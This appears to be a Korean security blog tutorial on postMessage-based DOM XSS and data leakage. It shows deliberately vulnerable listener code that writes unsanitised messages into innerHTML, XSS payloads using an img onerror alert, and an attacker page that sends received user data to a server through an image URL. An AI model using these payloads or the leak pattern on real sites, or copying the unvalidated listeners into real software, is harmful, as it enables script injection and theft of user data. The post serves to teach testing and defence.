postMessage를 이용한 XSS와 Info Leak

지난주 Exploit-db에서 뒤적뒤적 하던 중 PostMessage 재미있는 관련 문서를 보게되었습니다. 바로 postmessage에서 발생하는 취약점을 찾는 방법입니다.

오늘은 이 postmessage를 이용한 XSS 방법들에 대해 좀 더 테스트해본 결과를 공유할까 합니다.

Thank you so much Gary!!

What is postMessage

postMessage 는 HTML5에서 새롭게 추가된 API로 각각 웹 페이지끼리 메시지를 주고받을 수 있는 api이며 크로스 도큐먼트 메세징(Cross Document Messaging)을 이용해서 두개의 웹 페이지가 서로 메시지를 주고받을 수 있습니다.

원형은 이렇습니다.

window.postMessage(data, [ports], targetOrigin)
  • data: 전달할 메세지, 즉 송신할 데이터를 지정한다
  • ports: 메세지 포트(생략 가능)
  • targetOrigin: 타켓 도메인, 즉 메세지를 수신받는 도메인을 지정한다. 대상이 특정 도메인이 아니라면 * 로 지정한다.

A(parent) B(child)가 있다고 가정하고 A에서 Iframe을 통해 B를 불러옵니다. 그다음 postMessage를 통해 데이터를 쉽게 보낼 수 있습니다.

var google = window.open("https://www.google.com")
google.postMessage("hi","*");

iframe을 통한 창 열기에선 parent내 메소드를 통해서도 가능합니다. (child기준)

parent.postMessage("Hizzz");

이 postMessage는 원격 도메인 또한 지원하며 CORS(크로스 도메인 정책)의 영향을 받기 때문에 뒤에 나오는 취약점과 보안 문제점들은 Weak CORS가 존재해야 영향력이 있습니다.

  • https://developer.mozilla.org/ko/docs/Web/HTTP/Access_control_CORS

Security Point

위에서 설명드린 대로 CORS 정책을 준수하는 만큼 그만큼의 위험성도 가지고 있다는 것입니다. 메시지를 통해 DOM 영역에 Write 할 수도 있고 Application 이 사용할 수도 있습니다. 그러나 개발자는 이러한 부분 중 보안에 대해 완벽하게 고려하여 개발하기 어렵기 때문에 문제가 발생할 소지가 있는 부분이죠.

DOM XSS

dom 영역에 작성 가능한 메소드들을 활용하여 XSS를 할 수 있습니다. 대표적으로… document.write 부터 시작해서 innerHTML 등이 있겠죠.

문서에서는 페이지 이동인 location, open 등등 여러가지 메소드를 제시해주었습니다. 모두 XSS에 많이 사용되는 메소드이지요 :)

|Payload|Description| |——–|——–| |document.write()|DOM 영역에 직접 데이터를 씁니다.| |document.writeln()|DOM 영역에 직접 데이터를 씁니다.| |element.innerHTML|특정 element 내 data 부분(태그 내) 데이터를 씁니다.| |element.outerHTML|특정 element 내 data 부분(태그 외) 데이터를 씁니다.| |location=|DOM 영역의 location(page)를 지정합니다.| |location.href=|DOM 영역의 location(page)를 지정합니다.| |window.open()|새로운 창을 엽니다.| |location.replace()|DOM 영역의 location(page)를 변경합니다.| |$()|실행| |eval()|실행| |element[script tag].src|스크립트 태그 내 src 조작| |element[script tag].text|스크립트 태그 내 데이터 조작| |element[script tag].textContent|스크립트 태그 내 데이터 조작| |element[script tag].innerText|스크립트 태그 내 데이터 조작| [구글 블로그는 제발 에디터에 표 작성 기능을 추가하라. html 로 치기 매우 귀찮다..]

일단 취약 페이지 내 코드 부분은 아래 js 코드입니다.

<script>
function receiveMessage(event){
data = event.data;
name_div = document.getElementById("logged_in_as");
name_div.innerHTML = "<b>Welcome: </b>" + data.username;
messages_div = document.getElementById("messages");
messages = data.messages;
msg_length = messages.length;
var msg_html = "";
for (var i = 0; i < msg_length; i++)
 {
    message = messages[i];
    msg_html += "<h2>" + message['title'] + "</h2>";
    msg_html += message.message;
 }
 messages_div.innerHTML = msg_html;
}
window.addEventListener("message", receiveMessage, false);
</script>

postMessage로 사용자의 정보를 받아서 웹에 뿌려주는 기능을 가지고 있습니다. 자 여기서 주목해서 보셔야할 부분은 웹에 뿌리는 부분과 필터링이 없다는 점입니다.

  1. 웹에 뿌리는 구간 반복문 아래에 message_div.innerHTML을 통해서 받은 message 값을 쓰게 되는데 innderHTML을 각 태그 내 필터링 없이 직접 값을 쓰게됩니다. 태그 사용이 가능하다는 이야기지요.

  2. 필터링 부재 코드에 보시면 전혀 msg_html 변수에 대해 필터링하는 함수가 없습니다. 이는 postMessage를 통해 특수문자를 받을 시 필터링 없이 노출되어 XSS에 취약할 수 있다는 의미입니다.

일반적인 요청은 아래와 같이 user 정보에 대해 전송합니다.

{
  "username": "HAHWUL",
  "messages": [
    {
      "message": "this is log!",
      "title": "TEST Application"
    }
  ]
}

공격자는 이를 변조하여 전송하면 XSS가 가능해지겠죠.

{
  "username": "HAHWUL<img src='z' onerror=alert(45)>",
  "messages": [
    {
      "message": "this is log!",
      "title": "TEST Application"
    }
  ]
}

이러면 전혀 필터링이 없기 때문에 innerHTML로 인해서 <img src='z' onerror=alert(45)> 가 삽입되어 스크립트가 동작하게 됩니다. 그럼 공격자는 어떻게 저 정보를 보낼 수 있을까요?

답은 아까 처음에 postMessage에 있습니다.

parent.postMessage("Hizzz");
parent.postMessage({"username":"HAHWUL<img src='z' onerror=alert(45)>","messages":[{"message":"this is log!","title":"TEST Application"}]});

이런식으로 보내게 된다면 postMessage를 통해 받은 parent(victim)이 스크립트 구문을 innerHTML에 적어 XSS가 동작하게 됩니다.

Case Study

위 데이터는 실제 취약했던 사이트를 배경으로 작성된 것 같네요. 그럼 우리만의 간단한 테스트 페이지를 만들어서 볼까요? 먼저 취약 페이지를 만들어봅니다.

test2.html

<!DOCTYPE html>
<html>
<head></head>
<body>
MESSAGE<br>
  <div id="message"></div>   
</body>
</html>
<script type="text/javascript">   
  window.onmessage = function(e){
    document.getElementById("message").innerHTML += e.data;
  }
</script>

이 페이지는 message를 받아서 출력해주는 코드를 가지고 있습니다. 이제 이 페이지를 호출하는 페이지를 만들어 봅니다.

test.html

<!DOCTYPE html>
<html>
<head></head>
<body>
  <div id="message"></div>
  <button onclick="sendMessage();">Send-></button>
  <iframe id="tt" src="test2.html" width="200" height="100"></iframe>
</body>
</html>
<script type="text/javascript"> 
  function sendMessage(){
    var dest = document.getElementById("tt");
    dest.contentWindow.postMessage("<br>Parent: MSG","*");
  }   
</script>

test.html을 열어서 send를 눌러보시면 메시지가 전송되는 걸 볼 수 있습니다. 만약 우리가 이 MSG에 대해 제어가 가능하다면 이런식으로 공격이 들어갈 수 있겠죠.

test.html(attack code)

<!DOCTYPE html>
<html>
<head></head>
<body>
  <div id="message"></div>
  <button onclick="sendMessage();">Send-></button>
  <iframe id="tt" src="test2.html" width="200" height="100"></iframe>
</body>
</html>
<script type="text/javascript"> 
  function sendMessage(){
    var dest = document.getElementById("tt");
    dest.contentWindow.postMessage("<br>Parent: MSG<img src='z' onerror=alert(45)>","*");
  }   
</script>

간단하게 어떤 방식인지 표현하기 위해서 직접 삽입했고, 실제로는 메시지 데이터를 쓰는 부분에서 postMessage를 통해 넘어가기 때문에 공격구문을 넣어서 child로 보낼 수 있습니다.

실행되는 걸 보면 아래와 같습니다.

Sensitive Data Leakage

postMessage를 이용하면 반대로 민감한 데이터를 훔치는 것도 가능합니다. 물론 웹 요청을 타고 넘어가진 않아 SSL 여부와는 별개로 볼 수 있습니다. 브라우저단에서 API로 처리되기 때문에 Burp 같은 툴로는 보이지 않습니다. 그러나 사용자의 정보를 가져오는 부분등 Parent가 Child에게 요청해서 데이터를 받는 부분에선 어떨까요?

JSON Hijack이나 여러 데이터 탈취 기법들과 동일하게 postMessage도 데이터를 전송할 때 부모에 대한 검증이 필요합니다. 공격자가 취약 페이지를 자신들의 사이트에서 Child로 호출한 후 postMessage를 통해 정보 수집을 하는 기능을 요청한다면 손쉽게 사용자의 정보를 얻어낼 수 있겠지요. 예를들어 이런 코드가 있다고 칩시다.

Victim

function parent_getUserInfo()
{
   var userdata=[name,age, 등등...];
   parent.postMessage(userdata);
}

Attacker

<img src="http://127.0.0.1/?" id=message>  <!-- 공격자 페이지 -->
<script>
 window.onmessage = function(e){    // data를 읽어와서
 document.getElementById("message").src += "&"+e.data; //
</script>

단순하게 정보를 반환하는 함수가 있다고 하면 공격자가 다른 웹 서비스에서 해당 페이지를 iframe을 통해 호출 합니다. XSS가 취약한 페이지에서 postMessage가 취약한 페이지를 호출하는 느낌이죠.

그러면 parent가 XSS가 취약한 페이지로 되어있고, 해당 서버로 userdata의 데이터가 넘어갈 겁니다. 그러면 공격자는 parent(XSS 취약 페이지)에서 자신의 서버로 다시 정보를 날려서 데이터를 탈취할 수 있습니다.

Tools

PostMessage-Tracker

https://github.com/fransr/postMessage-tracker

위 Extension을 이용하면 쉽게 페이지 내 postMessage 사용 구간을 식별하고 동작을 파악할 수 있습니다. 자세한건 “Vulnerability of postMessage and postMesasge-tracker browser extension” 글을 참고해주세요.

PMHOOK

제가 봤던 문서에서는 PMHOOK을 이용해서 postMessage를 테스팅 하는 방법에 대해 다룹니다. PMHOOK은 Client side에서 JS 라이브러리를 분석하는 툴로 Chrome, filrefox 확장기능(addon)인 tampermonkey를 이용해서 동작한다고 하네요.

  • https://chrome.google.com/webstore/detail/tampermonkey/dhdgffkkebhmkfjojejmpbldmpobfkfo?hl=ko

tampermonkey 설치 후 PMHook을 다운받아서 테스트할 수 있고, 이 내용은 관련 문서랑 내용 일부 보시면 좋을 것 같습니다.

끝으로 해당 문서에서 보시면 postMessage 관련해서 각종 우회 방법과 테스트 케이스들이 있습니다. 숙지해두시면 언젠간 꼭 도움될테니 재미있게 보시면 좋을 것 같습니다 :D

Reference

  • https://www.exploit-db.com/docs/40287.pdf
  • http://m.mkexdev.net/75
  • https://developer.mozilla.org/ko/docs/Web/HTTP/Access_control_CORS